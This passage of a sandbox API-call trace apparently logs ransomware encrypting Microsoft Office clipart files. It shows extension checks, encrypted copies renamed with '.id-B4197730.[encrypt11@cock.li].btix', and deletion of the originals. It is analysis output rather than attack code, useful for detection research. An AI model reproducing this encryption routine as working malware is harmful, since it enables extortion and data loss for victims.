lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.158] lstrlenW (lpString=".dbf") returned 4 [0148.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString=".1cd") returned 4 [0148.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString=".jpg") returned 4 [0148.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString=".doc") returned 4 [0148.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString=".docx") returned 5 [0148.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.159] lstrlenW (lpString=".pdf") returned 4 [0148.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString=".xls") returned 4 [0148.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.159] lstrlenW (lpString=".xlsx") returned 5 [0148.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.159] lstrlenW (lpString=".ppt") returned 4 [0148.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString=".zip") returned 4 [0148.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.159] lstrlenW (lpString=".rar") returned 4 [0148.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString=".bz2") returned 4 [0148.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString=".7z") returned 3 [0148.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.159] lstrlenW (lpString=".dbf") returned 4 [0148.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.160] lstrlenW (lpString=".1cd") returned 4 [0148.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.160] lstrlenW (lpString=".jpg") returned 4 [0148.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.160] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.160] lstrlenW (lpString="HM00114_.WMF") returned 12 [0148.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.160] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=22116) returned 1 [0148.160] CloseHandle (hObject=0x384) returned 1 [0148.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0148.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.160] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.160] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.161] GetLastError () returned 0x0 [0148.161] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5664, lpOverlapped=0x0) returned 1 [0148.480] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5670, lpOverlapped=0x0) returned 1 [0148.481] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.481] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.482] SetEndOfFile (hFile=0x388) returned 1 [0148.482] CloseHandle (hObject=0x388) returned 1 [0148.482] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.482] SetEndOfFile (hFile=0x384) returned 1 [0148.483] CloseHandle (hObject=0x384) returned 1 [0148.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0148.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.483] lstrlenW (lpString=".doc") returned 4 [0148.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.483] lstrlenW (lpString=".docx") returned 5 [0148.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.483] lstrlenW (lpString=".pdf") returned 4 [0148.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.483] lstrlenW (lpString=".xls") returned 4 [0148.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.483] lstrlenW (lpString=".xlsx") returned 5 [0148.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.483] lstrlenW (lpString=".ppt") returned 4 [0148.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.483] lstrlenW (lpString=".zip") returned 4 [0148.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.484] lstrlenW (lpString=".rar") returned 4 [0148.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString=".bz2") returned 4 [0148.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString=".7z") returned 3 [0148.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString=".dbf") returned 4 [0148.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString=".1cd") returned 4 [0148.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString=".jpg") returned 4 [0148.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString=".doc") returned 4 [0148.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString=".docx") returned 5 [0148.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.484] lstrlenW (lpString=".pdf") returned 4 [0148.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString=".xls") returned 4 [0148.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.484] lstrlenW (lpString=".xlsx") returned 5 [0148.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.484] lstrlenW (lpString=".ppt") returned 4 [0148.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.484] lstrlenW (lpString=".zip") returned 4 [0148.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.484] lstrlenW (lpString=".rar") returned 4 [0148.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.485] lstrlenW (lpString=".bz2") returned 4 [0148.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.485] lstrlenW (lpString=".7z") returned 3 [0148.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.485] lstrlenW (lpString=".dbf") returned 4 [0148.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.485] lstrlenW (lpString=".1cd") returned 4 [0148.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0148.485] lstrlenW (lpString=".jpg") returned 4 [0148.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.485] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.485] lstrlenW (lpString="IN00957_.WMF") returned 12 [0148.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.485] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2944) returned 1 [0148.485] CloseHandle (hObject=0x384) returned 1 [0148.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0148.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.486] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.486] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.486] GetLastError () returned 0x0 [0148.486] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xb80, lpOverlapped=0x0) returned 1 [0148.487] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xb90, lpOverlapped=0x0) returned 1 [0148.488] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.488] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.488] SetEndOfFile (hFile=0x388) returned 1 [0148.488] CloseHandle (hObject=0x388) returned 1 [0148.488] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.488] SetEndOfFile (hFile=0x384) returned 1 [0148.489] CloseHandle (hObject=0x384) returned 1 [0148.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0148.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.489] lstrlenW (lpString=".doc") returned 4 [0148.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.489] lstrlenW (lpString=".docx") returned 5 [0148.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.489] lstrlenW (lpString=".pdf") returned 4 [0148.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.489] lstrlenW (lpString=".xls") returned 4 [0148.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.489] lstrlenW (lpString=".xlsx") returned 5 [0148.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.489] lstrlenW (lpString=".ppt") returned 4 [0148.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString=".zip") returned 4 [0148.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.490] lstrlenW (lpString=".rar") returned 4 [0148.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString=".bz2") returned 4 [0148.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString=".7z") returned 3 [0148.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString=".dbf") returned 4 [0148.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString=".1cd") returned 4 [0148.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString=".jpg") returned 4 [0148.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.490] lstrlenW (lpString=".doc") returned 4 [0148.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.490] lstrlenW (lpString=".docx") returned 5 [0148.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.491] lstrlenW (lpString=".pdf") returned 4 [0148.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString=".xls") returned 4 [0148.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.491] lstrlenW (lpString=".xlsx") returned 5 [0148.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.491] lstrlenW (lpString=".ppt") returned 4 [0148.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.491] lstrlenW (lpString=".zip") returned 4 [0148.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.491] lstrlenW (lpString=".rar") returned 4 [0148.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString=".bz2") returned 4 [0148.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString=".7z") returned 3 [0148.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.491] lstrlenW (lpString=".dbf") returned 4 [0148.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.491] lstrlenW (lpString=".1cd") returned 4 [0148.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0148.491] lstrlenW (lpString=".jpg") returned 4 [0148.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.491] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0148.491] lstrlenW (lpString="J0075478.GIF") returned 12 [0148.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.492] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1220) returned 1 [0148.492] CloseHandle (hObject=0x384) returned 1 [0148.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0148.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.492] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.492] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.493] GetLastError () returned 0x0 [0148.493] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0148.493] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0148.494] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.494] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.494] SetEndOfFile (hFile=0x388) returned 1 [0148.494] CloseHandle (hObject=0x388) returned 1 [0148.494] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.495] SetEndOfFile (hFile=0x384) returned 1 [0148.495] CloseHandle (hObject=0x384) returned 1 [0148.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.496] lstrlenW (lpString=".doc") returned 4 [0148.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.496] lstrlenW (lpString=".docx") returned 5 [0148.496] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0148.496] lstrlenW (lpString=".pdf") returned 4 [0148.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.496] lstrlenW (lpString=".xls") returned 4 [0148.496] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.496] lstrlenW (lpString=".xlsx") returned 5 [0148.496] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0148.496] lstrlenW (lpString=".ppt") returned 4 [0148.496] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.496] lstrlenW (lpString=".zip") returned 4 [0148.496] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.496] lstrlenW (lpString=".rar") returned 4 [0148.496] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.496] lstrlenW (lpString=".bz2") returned 4 [0148.496] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.496] lstrlenW (lpString=".7z") returned 3 [0148.496] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.496] lstrlenW (lpString=".dbf") returned 4 [0148.496] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.496] lstrlenW (lpString=".1cd") returned 4 [0148.496] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".jpg") 